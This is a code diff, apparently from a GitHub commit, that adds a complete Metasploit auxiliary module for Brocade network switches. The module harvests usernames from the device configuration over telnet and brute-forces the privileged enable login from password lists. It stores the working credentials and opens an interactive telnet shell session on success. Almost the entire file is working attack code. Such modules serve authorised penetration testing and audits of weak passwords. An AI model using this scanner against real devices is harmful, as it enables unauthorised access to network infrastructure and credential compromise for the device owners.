|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex' |
| 8 | +require 'metasploit/framework/credential_collection' |
| 9 | +require 'metasploit/framework/login_scanner/brocade_telnet' |
| 10 | + |
| 11 | +class Metasploit4 < Msf::Auxiliary |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Telnet |
| 14 | + include Msf::Auxiliary::Report |
| 15 | + include Msf::Auxiliary::AuthBrute |
| 16 | + include Msf::Auxiliary::Scanner |
| 17 | + include Msf::Auxiliary::CommandShell |
| 18 | + |
| 19 | + def initialize |
| 20 | + super( |
| 21 | + 'Name' => 'Brocade Enable Login Check Scanner', |
| 22 | + 'Description' => %q{ |
| 23 | + This module will test a Brocade network device for a privilged |
| 24 | + (Enable) login on a range of machines and report successful |
| 25 | + logins. If you have loaded a database plugin and connected |
| 26 | + to a database this module will record successful |
| 27 | + logins and hosts so you can track your access. |
| 28 | + This is not a login/telnet authentication. Config should NOT |
| 29 | + have 'enable telnet authentication' in it. This will test the |
| 30 | + config that contains 'aaa authentication enable default local' |
| 31 | + Tested against: |
| 32 | + ICX6450-24 SWver 07.4.00bT311 |
| 33 | + FastIron WS 624 SWver 07.2.02fT7e1 |
| 34 | + }, |
| 35 | + 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + [ 'CVE', '1999-0502'] # Weak password |
| 39 | + ], |
| 40 | + 'License' => MSF_LICENSE |
| 41 | + ) |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true]) |
| 45 | + ], self.class |
| 46 | + ) |
| 47 | + @no_pass_prompt = [] |
| 48 | + end |
| 49 | + |
| 50 | + def get_username_from_config(un_list,ip) |
| 51 | + ["config","running-config"].each do |command| |
| 52 | + print_status(" Attempting username gathering from #{command} on #{ip}") |
| 53 | + sock.puts("\r\n") #ensure the buffer is clear |
| 54 | + config = sock.recv(1024) |
| 55 | + sock.puts("show #{command}\r\n") |
| 56 | + while true do |
| 57 | + sock.puts(" \r\n") #paging |
| 58 | + config << sock.recv(1024) |
| 59 | + #there seems to be some buffering issues. so we want to match that we're back at a prompt, as well as received the 'end' of the config. |
| 60 | + break if config.match(/>$/) and config.match(/end/) |
| 61 | + end #pull the entire config |
| 62 | + config.each_line do |un| |
| 63 | + if un.match(/^username/) |
| 64 | + found_username = un.split(" ")[1].strip |
| 65 | + un_list.push(found_username) |
| 66 | + print_status(" Found: #{found_username}@#{ip}") |
| 67 | + end #username match |
| 68 | + end #each line in config |
| 69 | + end #end config/running-config loop |
| 70 | + end |
| 71 | + |
| 72 | + attr_accessor :no_pass_prompt |
| 73 | + attr_accessor :password_only |
| 74 | + |
| 75 | + def run_host(ip) |
| 76 | + un_list = [] |
| 77 | + if datastore['GET_USERNAMES_FROM_CONFIG'] |
| 78 | + connect() |
| 79 | + get_username_from_config(un_list,ip) |
| 80 | + disconnect() |
| 81 | + end |
| 82 | + |
| 83 | + if datastore['USERNAME'] #put the provided username on the array to try |
| 84 | + un_list.push(datastore['USERNAME']) |
| 85 | + end |
| 86 | + |
| 87 | + un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal |
| 88 | + |
| 89 | + un_list.each do |un| |
| 90 | + cred_collection = Metasploit::Framework::CredentialCollection.new( |
| 91 | + blank_passwords: datastore['BLANK_PASSWORDS'], |
| 92 | + pass_file: datastore['PASS_FILE'], |
| 93 | + password: datastore['PASSWORD'], |
| 94 | + user_file: datastore['USER_FILE'], |
| 95 | + userpass_file: datastore['USERPASS_FILE'], |
| 96 | + username: un, |
| 97 | + user_as_pass: datastore['USER_AS_PASS'], |
| 98 | + ) |
| 99 | + |
| 100 | + cred_collection = prepend_db_passwords(cred_collection) |
| 101 | + |
| 102 | + scanner = Metasploit::Framework::LoginScanner::Brocade_Telnet.new( |
| 103 | + host: ip, |
| 104 | + port: rport, |
| 105 | + proxies: datastore['PROXIES'], |
| 106 | + cred_details: cred_collection, |
| 107 | + stop_on_success: datastore['STOP_ON_SUCCESS'], |
| 108 | + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], |
| 109 | + connection_timeout: datastore['Timeout'], |
| 110 | + max_send_size: datastore['TCP::max_send_size'], |
| 111 | + send_delay: datastore['TCP::send_delay'], |
| 112 | + banner_timeout: datastore['TelnetBannerTimeout'], |
| 113 | + telnet_timeout: datastore['TelnetTimeout'], |
| 114 | + framework: framework, |
| 115 | + framework_module: self, |
| 116 | + ) |
| 117 | + |
| 118 | + scanner.scan! do |result| |
| 119 | + credential_data = result.to_h |
| 120 | + credential_data.merge!( |
| 121 | + module_fullname: self.fullname, |
| 122 | + workspace_id: myworkspace_id |
| 123 | + ) |
| 124 | + if result.success? |
| 125 | + credential_core = create_credential(credential_data) |
| 126 | + credential_data[:core] = credential_core |
| 127 | + create_credential_login(credential_data) |
| 128 | + print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}") |
| 129 | + start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) |
| 130 | + else |
| 131 | + invalidate_login(credential_data) |
| 132 | + print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})") |
| 133 | + end |
| 134 | + end |
| 135 | + end #end un loop |
| 136 | + end |
| 137 | + |
| 138 | + def start_telnet_session(host, port, user, pass, scanner) |
| 139 | + print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}") |
| 140 | + merge_me = { |
| 141 | + 'USERPASS_FILE' => nil, |
| 142 | + 'USER_FILE' => nil, |
| 143 | + 'PASS_FILE' => nil, |
| 144 | + 'USERNAME' => user, |
| 145 | + 'PASSWORD' => pass |
| 146 | + } |
| 147 | + |
| 148 | + start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock) |
| 149 | + end |
| 150 | +end |
0 commit comments